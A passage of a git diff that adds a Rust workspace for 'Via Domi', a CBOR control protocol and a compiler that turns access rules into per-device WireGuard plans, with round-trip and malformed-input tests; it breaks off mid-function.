+[[package]] +name = "toml_edit" +version = "0.25.21+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88497dab46de5bf343ec66b05c251e48c6213f3e9170c70a70a823f7abe886a4" +dependencies = [ + "indexmap", + "toml_datetime", + "toml_parser", + "winnow", +] + +[[package]] +name = "toml_parser" +version = "1.1.7+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bb28d6e049a9766c3bd91a8326e6179f5b132dec87906bb97018ef7a2f3431a" +dependencies = [ + "winnow", +] + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unarray" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94" + +[[package]] +name = "unicode-ident" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2c754d6c33795a1c324727428e5a7dedb5b06195f9890bdbcba760d3e246563" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "via-cli" +version = "0.1.0" +dependencies = [ + "jiff", + "proto", + "roads", + "serde_json", + "tempfile", +] + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "winnow" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c3b93199df0ab874cdf0c6a94f0a0dc3423fe41f1cafb62b8bd7b1deb277aef" +dependencies = [ + "memchr", +] + +[[package]] +name = "zerocopy" +version = "0.8.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32bc8a75f879cd6fe53a6bedf3c28f0e1b914c77424fc2be9e2ec85d7d25aff5" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8bfd2644ea1681f60cf95029ff18aa8ad1cc3f7b8fe37286f8e473bb29f816b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..1118916 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,30 @@ +[workspace] +resolver = "3" +members = ["crates/roads", "crates/proto", "crates/via-cli"] + +[workspace.package] +version = "0.1.0" +edition = "2024" +rust-version = "1.88" +license = "CPAL-1.0" +repository = "https://gitea.marek-novak.cz/mnovak/via-core" +publish = false + +[workspace.dependencies] +roads = { path = "crates/roads" } +proto = { path = "crates/proto" } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +jiff = { version = "0.2", default-features = false, features = ["std"] } +ipnet = "2" +base64 = "0.22" +ciborium = "0.2" +sha2 = "0.10" +proptest = "1" +tempfile = "3" + +[workspace.lints.rust] +unsafe_code = "forbid" + +[profile.release] +codegen-units = 1 diff --git a/crates/proto/Cargo.toml b/crates/proto/Cargo.toml new file mode 100644 index 0000000..d3cbb4a --- /dev/null +++ b/crates/proto/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "proto" +description = "Via Domi: the control-plane messages, CBOR, versioned" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +repository.workspace = true +publish.workspace = true + +[dependencies] +roads.workspace = true +serde.workspace = true +ciborium.workspace = true +sha2.workspace = true + +[dev-dependencies] +jiff.workspace = true + +[lints] +workspace = true diff --git a/crates/proto/src/lib.rs b/crates/proto/src/lib.rs new file mode 100644 index 0000000..2295456 --- /dev/null +++ b/crates/proto/src/lib.rs @@ -0,0 +1,208 @@ +//! Via Domi's control-plane messages: CBOR (RFC 8949), versioned (docs/FORMATS.md, "The control protocol"). +//! +//! Decoding reads the version first and refuses anything else before the body is looked at; then it refuses +//! unknown fields, missing fields, trailing bytes and messages over 1 MiB. Encoding is deterministic. +//! Version 1 carries no signatures: Day 3 adds them with the device's Tessera key, as version 2. + +#![forbid(unsafe_code)] + +use roads::{DeviceKey, Plan}; +use serde::{Deserialize, Serialize}; +use sha2::{Digest as _, Sha256}; +use std::fmt; + +pub const VERSION: u16 = 1; +pub const MAX_MESSAGE: usize = 1024 * 1024; +/// Deepest CBOR nesting decoded; a plan is about 6 levels deep. +pub const MAX_DEPTH: usize = 32; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Envelope { + pub v: u16, + pub body: Body, +} + +// A message lives for one send or receive; boxing the plan would buy nothing. +#[allow(clippy::large_enum_variant)] +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case", deny_unknown_fields)] +pub enum Body { + /// A device asks for its plan; `have` is the digest it already holds. + PlanRequest { + device: DeviceKey, + have: Option, + }, + /// The plan and the digest of its CBOR encoding. + Plan { + digest: Digest, + plan: Plan, + }, + /// The device applied the plan with this digest. + PlanAck { + device: DeviceKey, + digest: Digest, + }, + Refused { + code: RefusalCode, + message: String, + }, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum RefusalCode { + UnknownDevice, + BadRequest, + Unavailable, +} + +/// SHA-256, as 64 lowercase hex characters. +#[derive(Clone, PartialEq, Eq, Hash)] +pub struct Digest([u8; 32]); + +impl Digest { + pub fn of(bytes: &[u8]) -> Digest { + Digest(Sha256::digest(bytes).into()) + } + + pub fn to_hex(&self) -> String { + self.0.iter().map(|b| format!("{b:02x}")).collect() + } + + pub fn from_hex(s: &str) -> Option { + if s.len() != 64 + || !s + .bytes() + .all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b)) + { + return None; + } + let mut out = [0u8; 32]; + for (i, chunk) in s.as_bytes().chunks(2).enumerate() { + out[i] = u8::from_str_radix(std::str::from_utf8(chunk).ok()?, 16).ok()?; + } + Some(Digest(out)) + } +} + +impl fmt::Debug for Digest { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Digest({})", self.to_hex()) + } +} + +impl Serialize for Digest { + fn serialize(&self, s: S) -> Result { + s.serialize_str(&self.to_hex()) + } +} + +impl<'de> Deserialize<'de> for Digest { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + Digest::from_hex(&s) + .ok_or_else(|| serde::de::Error::custom("a digest is 64 lowercase hex characters")) + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Error { + TooLarge(usize), + /// Not one well-formed CBOR item, or nested deeper than [`MAX_DEPTH`]. + Malformed(String), + TrailingBytes(usize), + /// No `v`, or `v` is not an unsigned integer. + NoVersion, + UnsupportedVersion(u64), + /// The body does not match version 1: an unknown or missing field, a bad key or digest. + Invalid(String), + /// A `plan` whose digest is not the digest of its plan. + DigestMismatch, +} + +impl fmt::Display for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::TooLarge(n) => write!(f, "a message of {n} bytes is larger than {MAX_MESSAGE}"), + Error::Malformed(m) => write!(f, "not one CBOR item: {m}"), + Error::TrailingBytes(n) => write!(f, "{n} bytes after the message"), + Error::NoVersion => f.write_str("no protocol version"), + Error::UnsupportedVersion(v) => write!( + f, + "protocol version {v} is not supported (this build speaks {VERSION})" + ), + Error::Invalid(m) => write!(f, "not a version {VERSION} message: {m}"), + Error::DigestMismatch => f.write_str("the plan's digest does not match the plan"), + } + } +} + +impl std::error::Error for Error {} + +fn to_cbor(value: &T) -> Vec { + let mut out = Vec::new(); + ciborium::into_writer(value, &mut out).expect("writing CBOR to a Vec cannot fail"); + out +} + +/// The CBOR encoding of a plan, which its digest covers. +pub fn plan_cbor(plan: &Plan) -> Vec { + to_cbor(plan) +} + +pub fn plan_digest(plan: &Plan) -> Digest { + Digest::of(&plan_cbor(plan)) +} + +impl Envelope { + pub fn new(body: Body) -> Envelope { + Envelope { v: VERSION, body } + } + + /// A `plan` message, its digest computed here. + pub fn plan(plan: Plan) -> Envelope { + Envelope::new(Body::Plan { + digest: plan_digest(&plan), + plan, + }) + } + + pub fn encode(&self) -> Vec { + to_cbor(self) + } + + pub fn decode(bytes: &[u8]) -> Result { + if bytes.len() > MAX_MESSAGE { + return Err(Error::TooLarge(bytes.len())); + } + let mut reader = bytes; + let value: ciborium::Value = + ciborium::de::from_reader_with_recursion_limit(&mut reader, MAX_DEPTH) + .map_err(|e| Error::Malformed(e.to_string()))?; + if !reader.is_empty() { + return Err(Error::TrailingBytes(reader.len())); + } + let ciborium::Value::Map(entries) = &value else { + return Err(Error::NoVersion); + }; + let v = entries + .iter() + .find(|(k, _)| k.as_text() == Some("v")) + .and_then(|(_, v)| v.as_integer()) + .ok_or(Error::NoVersion)?; + let v = u64::try_from(v).map_err(|_| Error::NoVersion)?; + if v != VERSION as u64 { + return Err(Error::UnsupportedVersion(v)); + } + let env: Envelope = value + .deserialized() + .map_err(|e| Error::Invalid(e.to_string()))?; + if let Body::Plan { digest, plan } = &env.body + && plan_digest(plan) != *digest + { + return Err(Error::DigestMismatch); + } + Ok(env) + } +} diff --git a/crates/proto/tests/jana-phone.digest b/crates/proto/tests/jana-phone.digest new file mode 100644 index 0000000..eb9fd94 --- /dev/null +++ b/crates/proto/tests/jana-phone.digest @@ -0,0 +1 @@ +da086f1cc965aee30351547c6ac466939c627e2f915d5c67314a73357f38f68a diff --git a/crates/proto/tests/roundtrip.rs b/crates/proto/tests/roundtrip.rs new file mode 100644 index 0000000..0b8f772 --- /dev/null +++ b/crates/proto/tests/roundtrip.rs @@ -0,0 +1,248 @@ +//! The control protocol: plans survive CBOR byte for byte (custom raw blocks and the classic flag included, +//! QA R-44), encoding is deterministic, and decoding refuses what version 1 does not say. + +use proto::{Body, Digest, Envelope, Error, MAX_MESSAGE, RefusalCode, plan_cbor}; +use roads::{DeviceKey, Plan, Store, compile}; +use std::path::PathBuf; + +fn plans() -> Vec { + let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../roads/tests/fixtures/home"); + let store = Store::load_dir(&dir).unwrap(); + let now: jiff::Timestamp = "2026-11-25T12:00:00+01:00".parse().unwrap(); + compile(&store, now).plans.into_values().collect() +} + +fn router() -> Plan { + plans().into_iter().find(|p| p.name == "router").unwrap() +} + +#[test] +fn every_plan_round_trips_and_encodes_the_same_twice() { + let all = plans(); + assert_eq!(all.len(), 7); + for plan in all { + let env = Envelope::plan(plan.clone()); + let a = env.encode(); + assert_eq!( + a, + Envelope::plan(plan.clone()).encode(), + "{}: two encodings differ", + plan.name + ); + let back = Envelope::decode(&a).unwrap(); + assert_eq!(back, env); + assert_eq!( + back.encode(), + a, + "{}: decode → encode changed bytes", + plan.name + ); + } +} + +#[test] +fn the_custom_block_and_the_classic_flag_survive_cbor() { + let plan = router(); + assert!(plan.classic); + assert_eq!(plan.custom.len(), 1); + let raw = plan.custom[0].raw.clone(); + assert!(raw.contains("MTU = 1380 \n"), "trailing spaces kept"); + let Body::Plan { plan: back, .. } = Envelope::decode(&Envelope::plan(plan.clone()).encode()) + .unwrap() + .body + else { + panic!() + }; + assert_eq!(back.custom[0].raw, raw); + assert!(back.classic && back.custom[0].classic); + let server = plans() + .into_iter() + .find(|p| p.name == "home-server") + .unwrap(); + let Body::Plan { plan: back, .. } = Envelope::decode(&Envelope::plan(server).encode()) + .unwrap() + .body + else { + panic!() + }; + assert!( + back.peers + .iter() + .find(|p| p.name == "router") + .unwrap() + .classic, + "the router peer lost its classic mark" + ); +} + +#[test] +fn the_plan_digest_is_pinned() { + // A change in the CBOR library or the plan's field order shows here first. Update only on purpose, with a + // protocol version change if it alters what is on the wire. + let plan = plans() + .into_iter() + .find(|p| p.name == "jana-phone") + .unwrap(); + let d = Digest::of(&plan_cbor(&plan)).to_hex(); + assert_eq!( + d, + include_str!("jana-phone.digest").trim(), + "jana-phone's plan encodes differently" + ); +} + +fn cbor(v: &ciborium::Value) -> Vec { + let mut out = Vec::new(); + ciborium::into_writer(v, &mut out).unwrap(); + out +} + +fn value_of(env: &Envelope) -> ciborium::Value { + ciborium::de::from_reader(&env.encode()[..]).unwrap() +} + +fn set(v: &mut ciborium::Value, key: &str, to: ciborium::Value) { + let ciborium::Value::Map(m) = v else { panic!() }; + match m.iter_mut().find(|(k, _)| k.as_text() == Some(key)) { + Some(e) => e.1 = to, + None => m.push((ciborium::Value::Text(key.into()), to)), + } +} + +#[test] +fn decoding_refuses_what_version_1_does_not_say() { + let ack = Envelope::new(Body::PlanAck { + device: DeviceKey::from_bytes(&[3; 32]), + digest: Digest::of(b"x"), + }); + assert_eq!(Envelope::decode(&ack.encode()).unwrap(), ack); + + // Another version is refused before the body is read, even when the body is nonsense. + let mut v = value_of(&ack); + set(&mut v, "v", ciborium::Value::Integer(2.into())); + set(&mut v, "body", ciborium::Value::Text("anything".into())); + assert_eq!( + Envelope::decode(&cbor(&v)), + Err(Error::UnsupportedVersion(2)) + ); + + // No version, or not a map at all. + let ciborium::Value::Map(m) = value_of(&ack) else { + panic!() + }; + let no_v = ciborium::Value::Map( + m.into_iter() + .filter(|(k, _)| k.as_text() != Some("v")) + .collect(), + ); + assert_eq!(Envelope::decode(&cbor(&no_v)), Err(Error::NoVersion)); + assert_eq!( + Envelope::decode(&cbor(&ciborium::Value::Integer(1.into()))), + Err(Error::NoVersion) + ); + + // An unknown field at the top and deep inside a plan. + let mut v = value_of(&ack); + set(&mut v, "signature", ciborium::Value::Bytes(vec![0; 64])); + assert!(matches!( + Envelope::decode(&cbor(&v)), + Err(Error::Invalid(_)) + )); + let mut v = value_of(&Envelope::plan(router())); + if let ciborium::Value::Map(m) = &mut v { + let body = &mut m + .iter_mut() + .find(|(k, _)| k.as_text() == Some("body")) + .unwrap() + .1; + let ciborium::Value::Map(b) = body else { + panic!() + }; + let ciborium::Value::Map(inner) = &mut b[0].1 else { + panic!() + }; + let plan = &mut inner + .iter_mut() + .find(|(k, _)| k.as_text() == Some("plan")) + .unwrap() + .1; + set(plan, "allowed_everything", ciborium::Value::Bool(true)); + } + assert!(matches!( + Envelope::decode(&cbor(&v)), + Err(Error::Invalid(_)) + )); + + // A malformed key, trailing bytes, garbage, oversize, deep nesting. + let mut v = value_of(&ack); + if let ciborium::Value::Map(m) = &mut v { + let body = &mut m + .iter_mut() + .find(|(k, _)| k.as_text() == Some("body")) + .unwrap() + .1; + let ciborium::Value::Map(b) = body else { + panic!() + }; + set( + &mut b[0].1, + "device", + ciborium::Value::Text("AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQF".into()), + ); + } + assert!(matches!( + Envelope::decode(&cbor(&v)), + Err(Error::Invalid(_)) + )); + let mut bytes = ack.encode(); + bytes.push(0); + assert_eq!(Envelope::decode(&bytes), Err(Error::TrailingBytes(1))); + assert!(matches!( + Envelope::decode(&[0xff, 0x00, 0x13]), + Err(Error::Malformed(_)) + )); + assert!(matches!(Envelope::decode(&[]), Err(Error::Malformed(_)))); + assert_eq!( + Envelope::decode(&vec![0u8; MAX_MESSAGE + 1]), + Err(Error::TooLarge(MAX_MESSAGE + 1)) + ); + let deep = [vec![0x81u8; 10_000], vec![0x01]].concat(); + assert!( + matches!(Envelope::decode(&deep), Err(Error::Malformed(_))), + "deep nesting must be refused, not overflow" + ); +} + +#[test] +fn a_plan_whose_digest_does_not_match_is_refused() { + let plan = router(); + let wrong = Envelope::new(Body::Plan { + digest: Digest::of(b"another plan"), + plan, + }); + assert_eq!( + Envelope::decode(&wrong.encode()), + Err(Error::DigestMismatch) + ); +} + +#[test] +fn refusals_and_requests_round_trip() { + for body in [ + Body::PlanRequest { + device: DeviceKey::from_bytes(&[1; 32]), + have: None, + }, + Body::PlanRequest { + device: DeviceKey::from_bytes(&[1; 32]), + have: Some(Digest::of(b"old")), + }, + Body::Refused { + code: RefusalCode::UnknownDevice, + message: "no such device".into(), + }, + ] { + let env = Envelope::new(body); + assert_eq!(Envelope::decode(&env.encode()).unwrap(), env); + } +} diff --git a/crates/roads/Cargo.toml b/crates/roads/Cargo.toml new file mode 100644 index 0000000..bc7adf9 --- /dev/null +++ b/crates/roads/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "roads" +description = "Via Domi: the road model, its validator and the compiler from roads to per-device plans" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +repository.workspace = true +publish.workspace = true + +[dependencies] +serde.workspace = true +serde_json.workspace = true +jiff.workspace = true +ipnet.workspace = true +base64.workspace = true + +[dev-dependencies] +proptest.workspace = true +tempfile.workspace = true + +[lints] +workspace = true diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs new file mode 100644 index 0000000..de49220 --- /dev/null +++ b/crates/roads/src/compile.rs @@ -0,0 +1,758 @@ +//! The compiler: roads + people directory + device list + `now` → one [`Plan`] per device. +//! +//! Deny by default. A road with any error grants nothing; a valid road that is expired, or whose subject has no +//! devices, grants nothing and is reported as inactive. Without both snapshots no plan is produced at all. +//! Every collection on the output path is ordered, so the same input gives the same bytes. + +use crate::id::RoadId; +use crate::ids::{AppId, DeviceKey, Hostname}; +use crate::net::Net; +use crate::plan::{self, Action, Direction, Dst, Firewall, Plan}; +use crate::ports::{self, PortSpec, Proto}; +use crate::problem::Problem; +use crate::road::{Body, Place, Road, Subject, Verb}; +use crate::rules as r; +use crate::snapshot::{Devices, Directory}; +use crate::store::Store; +use jiff::Timestamp as Instant; +use std::collections::{BTreeMap, BTreeSet}; + +/// One thing a road lets one device do, before it is folded into plans. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)] +pub enum Grant { + /// `from` may send to `dst`, which `host` owns (its address) or routes (a subnet, `forward`). + Reach { + road: RoadId, + from: DeviceKey, + host: DeviceKey, + dst: Net, + forward: bool, + /// `None`: all traffic. + ports: Option>, + dns: Option, + via: Option, + }, + /// `from` sends its internet traffic through `exit`. + Exit { + road: RoadId, + from: DeviceKey, + exit: DeviceKey, + }, +} + +impl Grant { + pub fn road(&self) -> &RoadId { + match self { + Grant::Reach { road, .. } | Grant::Exit { road, .. } => road, + } + } + + pub fn from(&self) -> &DeviceKey { + match self { + Grant::Reach { from, .. } | Grant::Exit { from, .. } => from, + } + } +} + +/// The compiler's output. +#[derive(Debug, Clone, Default)] +pub struct Compiled { + /// One plan per device in `devices.json`; empty when a snapshot has an error. + pub plans: BTreeMap, + /// The store's problems and the compiler's, sorted. + pub problems: Vec, + /// What the active roads grant, in road order. + pub grants: Vec, +} + +impl Compiled { + pub fn errors(&self) -> impl Iterator { + self.problems.iter().filter(|p| p.is_error()) + } + + /// Whether the snapshots were good enough to produce plans. + pub fn has_plans(&self) -> bool { + !self.plans.is_empty() + } +} + +type DirectKey = (Option, Net); +type RuleKey = (Direction, Net, Dst, Proto, Option<[u16; 2]>); + +#[derive(Default)] +struct Extras { + direct: BTreeMap>, + kill: BTreeMap>, + custom: Vec, +} + +/// The devices a subject covers: a person's are the devices they own; a group's, its members'; an app's, every +/// device. +pub fn subject_devices(subject: &Subject, dir: &Directory, devs: &Devices) -> BTreeSet { + devs.devices + .values() + .filter(|d| match subject { + Subject::Person(p) => d.owner.as_ref() == Some(p), + Subject::Group(g) => dir + .groups + .get(g) + .is_some_and(|g| d.owner.as_ref().is_some_and(|o| g.members.contains(o))), + Subject::Device(k) => &d.key == k, + Subject::App(_) => true, + }) + .map(|d| d.key.clone()) + .collect() +} + +/// Devices by owner, built once per compile so resolving a subject does not scan every device. +struct Index { + by_owner: BTreeMap>, +} + +impl Index { + fn new(devs: &Devices) -> Index { + let mut by_owner: BTreeMap<_, BTreeSet> = BTreeMap::new(); + for d in devs.devices.values() { + if let Some(o) = &d.owner { + by_owner.entry(o.clone()).or_default().insert(d.key.clone()); + } + } + Index { by_owner } + } + + /// The same answer as [`subject_devices`], from the index. + fn devices_of( + &self, + subject: &Subject, + dir: &Directory, + devs: &Devices, + ) -> BTreeSet { + match subject { + Subject::Person(p) => self.by_owner.get(p).cloned().unwrap_or_default(), + Subject::Group(g) => dir + .groups + .get(g) + .map(|g| { + g.members + .iter() + .filter_map(|m| self.by_owner.get(m)) + .flatten() + .cloned() + .collect() + }) + .unwrap_or_default(), + Subject::Device(k) => devs + .devices + .contains_key(k) + .then(|| k.clone()) + .into_iter() + .collect(), + Subject::App(_) => devs.devices.keys().cloned().collect(), + } + } +} + +/// Checks a road against the snapshots. Every problem is an error: the road grants nothing. +fn check( + road: &Road, + dir: &Directory, + devs: &Devices, + subject: &BTreeSet, +) -> Vec { + let mut out = Vec::new(); + let p = |field: &str, code, msg: String| { + Problem::error(&road.path, Some(field), code, msg).at(road.line_of(field)) + }; + match &road.subject { + Subject::Person(id) if !dir.people.contains_key(id) => out.push(p( + "subject", + r::SUBJECT_UNKNOWN, + format!("person `{id}` is not in directory.json"), + )), + Subject::Group(id) if !dir.groups.contains_key(id) => out.push(p( + "subject", + r::SUBJECT_UNKNOWN, + format!("group `{id}` is not in directory.json"), + )), + Subject::Device(k) if !devs.devices.contains_key(k) => out.push(p( + "subject", + r::SUBJECT_UNKNOWN, + format!("device {} is not in devices.json", k.short()), + )), + _ => {} + } + let mut classic_peers: Vec<&str> = Vec::new(); + for k in subject { + if let Some(d) = devs.devices.get(k).filter(|d| d.classic) { + classic_peers.push(&d.name); + } + } + match &road.object { + Some(Place::Device(k)) => match devs.devices.get(k) { + None => out.push(p( + "object", + r::OBJECT_UNKNOWN, + format!("device {} is not in devices.json", k.short()), + )), + Some(d) if d.classic => classic_peers.push(&d.name), + Some(_) => {} + }, + Some(Place::Exit(k)) => match devs.devices.get(k) { + None => out.push(p( + "object", + r::OBJECT_UNKNOWN, + format!("device {} is not in devices.json", k.short()), + )), + Some(d) => { + if !d.exit { + out.push(p( + "object", + r::OBJECT_NOT_EXIT, + format!("{} does not offer itself as an exit", d.name), + )); + } + if d.classic { + classic_peers.push(&d.name); + } + } + }, + Some(Place::Service(h)) => match devs.service(h) { + None => out.push(p( + "object", + r::OBJECT_UNKNOWN, + format!("no device in devices.json serves {h}"), + )), + Some((d, s)) => { + if d.classic { + classic_peers.push(&d.name); + } + if let Some(ports) = &road.ports + && !ports::is_subset(ports, &s.ports) + { + let served: Vec = s.ports.iter().map(|p| p.to_string()).collect(); + out.push(p( + "ports", + r::PORTS_NOT_SERVED, + format!("{h} serves only {}", served.join(", ")), + )); + } + } + }, + Some(Place::Subnet(n)) if road.verb == Verb::CanReach => match devs.router_of(n) { + None => out.push(p( + "object", + r::SUBNET_UNROUTED, + format!("no device in devices.json routes {n}"), + )), + Some(d) if d.classic => classic_peers.push(&d.name), + Some(_) => {} + }, + Some(Place::Subnet(_)) => {} + None => {} + } + if let Some(v) = &road.via { + match devs.devices.get(v) { + None => out.push(p( + "via", + r::VIA_UNKNOWN, + format!("device {} is not in devices.json", v.short()), + )), + Some(d) if !d.relay && !d.exit => out.push(p( + "via", + r::VIA_NOT_RELAY, + format!("{} is neither a relay nor an exit", d.name), + )), + Some(_) => {} + } + } + let makes_peers = matches!(road.verb, Verb::CanReach | Verb::ExitsThrough); + if makes_peers && !classic_peers.is_empty() && !road.is_classic() { + classic_peers.sort(); + classic_peers.dedup(); + out.push(p( + "classic", + r::CLASSIC_UNACKNOWLEDGED, + format!( + "{} {} a classic WireGuard peer (not post-quantum): set `classic: true` to allow it", + classic_peers.join(", "), + if classic_peers.len() == 1 { "is" } else { "are" } + ), + )); + } + out +} + +/// Compiles the store at `now`. +pub fn compile(store: &Store, now: Instant) -> Compiled { + let mut out = Compiled { + problems: store.problems.clone(), + ..Compiled::default() + }; + let (Some(dir), Some(devs)) = (&store.directory, &store.devices) else { + out.problems.sort(); + return out; + }; + let name = |k: &DeviceKey| { + devs.devices + .get(k) + .map_or_else(|| k.short().to_string(), |d| d.name.clone()) + }; + + let mut extras: BTreeMap = BTreeMap::new(); + let mut expiry: BTreeMap = BTreeMap::new(); + let mut touch = |k: &DeviceKey, road: &Road| { + if let Some(u) = &road.until { + let at = u.at(); + expiry + .entry(k.clone()) + .and_modify(|e| *e = (*e).min(at)) + .or_insert(at); + } + }; + + let index = Index::new(devs); + let mut roads: Vec<&Road> = store.roads.iter().collect(); + roads.sort_by(|a, b| a.id.cmp(&b.id)); + for road in roads { + let subject = index.devices_of(&road.subject, dir, devs); + let problems = check(road, dir, devs, &subject); + if !problems.is_empty() { + out.problems.extend(problems); + continue; + } + let inactive = |field: Option<&str>, code, msg: String| { + Problem::inactive(&road.path, field, code, msg).at(field.map_or(0, |f| road.line_of(f))) + }; + if let Some(u) = &road.until + && u.at() <= now + { + out.problems.push(inactive( + Some("until"), + r::ROAD_EXPIRED, + format!("expired at {}", u.as_str()), + )); + continue; + } + if subject.is_empty() { + out.problems.push(inactive( + Some("subject"), + r::ROAD_NO_DEVICES, + format!("{} has no devices in devices.json", road.subject), + )); + continue; + } + let mut effects = 0usize; + match (road.verb, &road.object) { + (Verb::CanReach, Some(object)) => { + let (host, dst, forward, ports, dns) = match object { + Place::Device(k) => ( + k.clone(), + Net::host(devs.devices[k].address.0), + false, + road.ports.clone(), + None, + ), + Place::Service(h) => { + let (d, s) = devs.service(h).expect("checked"); + let ports = road.ports.clone().unwrap_or_else(|| s.ports.clone()); + ( + d.key.clone(), + Net::host(d.address.0), + false, + Some(ports), + Some(h.clone()), + ) + } + Place::Subnet(n) => ( + devs.router_of(n).expect("checked").key.clone(), + *n, + true, + road.ports.clone(), + None, + ), + Place::Exit(_) => unreachable!("the parser refuses exit objects for can-reach"), + }; + for from in subject.iter().filter(|d| **d != host) { + touch(from, road); + effects += 1; + touch(&host, road); + out.grants.push(Grant::Reach { + road: road.id.clone(), + from: from.clone(), + host: host.clone(), + dst, + forward, + ports: ports.clone(), + dns: dns.clone(), + via: road.via.clone(), + }); + } + } + (Verb::ExitsThrough, Some(Place::Exit(exit))) => { + for from in subject.iter().filter(|d| *d != exit) { + touch(from, road); + effects += 1; + touch(exit, road); + out.grants.push(Grant::Exit { + road: road.id.clone(), + from: from.clone(), + exit: exit.clone(), + }); + } + } + (Verb::GoesDirect, Some(Place::Subnet(n))) => { + let app = match &road.subject { + Subject::App(a) => Some(a.clone()), + _ => None, + }; + for d in &subject { + touch(d, road); + effects += 1; + extras + .entry(d.clone()) + .or_default() + .direct + .entry((app.clone(), *n)) + .or_default() + .insert(road.id.clone()); + } + } + (Verb::NeverOnlineWithout, Some(Place::Exit(exit))) => { + for d in subject.iter().filter(|d| *d != exit) { + touch(d, road); + effects += 1; + extras + .entry(d.clone()) + .or_default() + .kill + .entry(exit.clone()) + .or_default() + .insert(road.id.clone()); + } + } + (Verb::Custom, None) => { + let Body::Raw(raw) = &road.body else { + unreachable!("the parser requires a raw block") + }; + for d in &subject { + touch(d, road); + effects += 1; + extras + .entry(d.clone()) + .or_default() + .custom + .push(plan::Custom { + road: road.id.clone(), + classic: road.is_classic(), + raw: raw.clone(), + }); + } + } + _ => unreachable!("the parser checks the verb's object kinds"), + } + if effects == 0 { + out.problems.push(inactive( + Some("object"), + r::ROAD_SELF, + "every device of the subject is the object's own device: it grants nothing".into(), + )); + } + } + + // A device with active exit roads to two different exits gets neither. + let mut exits: BTreeMap>> = BTreeMap::new(); + for g in &out.grants { + if let Grant::Exit { road, from, exit } = g { + exits + .entry(from.clone()) + .or_default() + .entry(exit.clone()) + .or_default() + .insert(road.clone()); + } + } + let mut conflicted: BTreeSet = BTreeSet::new(); + for (from, by_exit) in &exits { + if by_exit.len() < 2 { + continue; + } + conflicted.insert(from.clone()); + let all: BTreeSet<&RoadId> = by_exit.values().flatten().collect(); + for id in &all { + let road = store + .roads + .iter() + .find(|r| &r.id == *id) + .expect("a granting road"); + let others: Vec = all + .iter() + .filter(|o| o != &id) + .map(|o| o.to_string()) + .collect(); + out.problems.push( + Problem::inactive( + &road.path, + Some("object"), + r::EXIT_CONFLICT, + format!( + "for {}: conflicts with road {} (two different exits); that device exits through neither", + name(from), + others.join(", ") + ), + ) + .at(road.line_of("object")), + ); + } + } + out.grants + .retain(|g| !matches!(g, Grant::Exit { from, .. } if conflicted.contains(from))); + + // The kill switch wins over going direct to the internet: a device with a kill switch never sends internet + // traffic outside the tunnel, whatever a goes-direct road says (QA R-47). Going direct to a private subnet + // (the local network) stays allowed. + for (key, ex) in extras.iter_mut() { + if ex.kill.is_empty() { + continue; + } + let kill_roads: Vec = ex.kill.values().flatten().map(|r| r.to_string()).collect(); + let dropped: Vec<(DirectKey, BTreeSet)> = ex + .direct + .iter() + .filter(|((_, n), _)| n.reaches_internet()) + .map(|(k, v)| (k.clone(), v.clone())) + .collect(); + for ((app, subnet), roads) in dropped { + ex.direct.remove(&(app, subnet)); + for id in roads { + let road = store + .roads + .iter() + .find(|r| r.id == id) + .expect("a 